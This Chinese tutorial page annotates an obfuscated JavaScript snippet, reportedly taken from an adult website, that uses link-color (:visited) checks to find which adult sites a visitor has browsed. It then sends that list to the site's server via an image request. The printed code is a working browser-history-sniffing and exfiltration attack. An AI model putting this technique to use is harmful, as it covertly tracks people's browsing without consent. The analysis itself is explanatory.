DIV CSS 佈局教程網

 DIV+CSS佈局教程網 >> 網頁腳本 >> JavaScript入門知識 >> 關於JavaScript >> 悄悄用腳本檢查你訪問過哪些網站的代碼
悄悄用腳本檢查你訪問過哪些網站的代碼
編輯:關於JavaScript     
打開它的“頁面源文件”,你能找到一段加密過的JS腳本:
復制代碼 代碼如下:
function ypol(){
//K是一個對象,實際上是一個數組。存了一堆加密過的pr*n站鏈接。
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍歷k中的元素賦值給d
var a="";
for(var f=0;f<d.length;f++){
a+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 這裡把d中的每一條字符都還原了。
* charCodeAt(char) 函數返回char的ascii碼
* String.fromCharCode(asccii) 返回ascii碼對應的字符
* 然後把結果賦值給a
* 比如第一次循環,a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 這個循環創建A對象並讓鏈接賦值為 http://a/ 和 http://www.a/
* 為什麼要循環來2次,目的是為了准確性
* 訪問 http://example.com/ 和 http://www.example.com/ 對於浏覽器來說,是不同的域名
* 所以要區別對待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //創建一個A對象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A對象附加給一個id為ol的元素上,要附加在一個在DOM樹上的元素,浏覽器才會render這個元素,並設置合適的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A對象的顏色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他標准浏覽器的顏色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示訪問過此站點。
* 浏覽器默認給訪問過的鏈接標記為紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果訪問過,把站點加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由數組變成字符串
var c=document.createElement("img"); //建立一個img對象
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服務器上的一幅圖像,關鍵是附帶上了g數組的值
document.getElementById("ol").appendChild(c); //加入DOM樹,理由跟前面的A一樣
/*
* 以一次圖片訪問,在web-server
XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved